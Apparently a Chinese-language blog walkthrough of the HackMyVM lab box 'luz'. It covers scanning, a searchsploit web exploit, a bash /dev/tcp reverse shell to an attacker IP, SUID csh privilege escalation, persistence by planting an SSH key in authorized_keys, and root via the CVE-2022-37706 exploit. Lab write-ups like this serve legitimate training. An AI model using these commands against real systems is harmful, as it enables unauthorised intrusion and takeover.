hmv.luz

信息搜集

主机扫描

arp-scan -l

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -p- -Pn  192.168.142.174
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-05 11:48 EDT
Nmap scan report for 192.168.142.174
Host is up (0.00062s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
MAC Address: 08:00:27:37:37:11 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.14 seconds

路径扫描

[11:57:17] 403 -  564B  - /database/                                        
[11:57:21] 200 -    3KB - /footer.php                                       
[11:57:22] 200 -    0B  - /head.php                                         
[11:57:22] 200 -    2KB - /header.php                                       
[11:57:23] 200 -    9KB - /home.php                                         
[11:57:25] 403 -  564B  - /js/                                              
[11:57:27] 200 -    2KB - /login.php                                        
[11:57:37] 200 -    1KB - /readme.txt                                       
[11:57:40] 200 -    2KB - /signup.php 
没什么有用的东西

拿取shell

寻找有无可用漏洞

发现存在漏洞,看尝试能不能行得通

1.searchsploit 50305
2.searchsploit -m 50305.py
不建议在本地的漏洞数据库中修改exp,建议使用-m参数复制那些有用的到当前的工作目
3.python3 50305.py 
在填写路径是需要注意,利用/结尾,否则报错

提权

我们发现当我获取webshell,无法执行命令,于是反弹shell,

靶机:
bash -c "bash -i >& /dev/tcp/192.168.137.205/8000 0>&1"
kali:
nc -lnvp port
user.txt:HMVn03145n4nk4
find / -perm -u=s -type f 2>/dev/null
首先查找具有suid的命令
根据小白师傅的提示,发现可以利用这个提权
/csh -b
获得aelist用户的权限

参考:CSH公司 | go away垃圾箱 (gtfobins.github.io)

之后发现,我发现我虽然是aelis用户,但我的用户id还是www-data,所以还需要我们提权,我们想到可以看看有没有用户私钥,发现确实有,但和以前见过的不一样

authorized_keys

什么是SSH authorized_keys文件以及如何检查它 – howtouselinux

通俗的说就是存放客户端公钥的文件,当客户端远程访问时,如存有客户端的公钥钥,那么客户端就可以利用自己的私钥远程登录服务端,前提就是这个文件中存在客户端的公钥.那么我就可以生成一个公钥,存入到这个文件中,然后私钥登录

在Linux中使用ssh-keygen命令创建SSH密钥对 – howtouselinux

因为ssh-key会生成两个文件,一个公钥一个私钥,公钥存到靶机上,私钥kali上登录
客户端(kali):
ssh-keygen -t rsa -f /root/luz/aelis
服务器端(靶机):
(公钥)echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTV2OQB19B5kO4sJ+Cghxn3vUwwddhqQAgXubNd0K+VFNNZnE9kBm2hqzF2hEIaOk0wEDNDGMYrrX1LKpZ+IrDBFdaKwhoMnbs68RpuidjUWUSJNO520ff8WUlBUbSJYJjMYWoWAF2/NZCR6SwMGa5bTLKRjlnfQRcIPUEwHXz8ffRz302Lc0gvo83+ZPUi50l6bjHxsoKZ4iTrpdx1VM4iv66vapnaPiwizcWfPc1HFbxy7OXxrpAh7E0RjDiHb7sfdb48K7qm18ZiAI4yJD5+AUT+yV5w8+QCB19lZLYQCAAQbn8x3lQKrlPt03GJhhcsniOXLaCD/rj6O840ewclDe365/xOiq9lnXVbqUFTO9nExjOA7gkizkibx2043zouEjxbaPuC6w4GsQkP2jRye+j0t1Pkv5xnLqGh1miCjtOVoXLDXNDCYuHKuz72RLnFGy/AfWhnCionNcAVnRVt72kgZqsSAKh1INuwxN22owahMd1gGHQDg"  > authorized_keys

之后利用生成的私钥ssh登录

chmod 600 aelis  
ssh -i aelis aelis@192.168.137.174
成功切换用户aelis

之后再进行提权:

通过下面这张图,这个我们也能理解为什么csh能够提权aelis,现在需要提权为root。

enlightenment -version
通过版本号,发现可以利用payload:

CVE-2022-37706-LPE-exploit/exploit.sh at main · MaherAzzouzi/CVE-2022-37706-LPE-exploit · GitHub

NVD – CVE-2022-37706 (nist.gov)

下载好exploit.sh,就权限直接执行,获得root权限,这个靶场有一说一,确实塞了好多东西感觉,学到了好多,还是有点难度的,多亏别的师傅得wp(唉

知识点:

  1. bash -c 和bash -i的区别:所以,bash -c 用于执行特定命令并退出,而 bash -i 则用于启动一个交互式的 Bash shell 实例,要说这个是因为在我反弹shell时,我会用错命令,而无法反弹到shell到我的攻击机上。
  2. 关于pki
  3. csh解释器

参考wp:https://lanzt.github.io/hmv/luz

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

退出移动版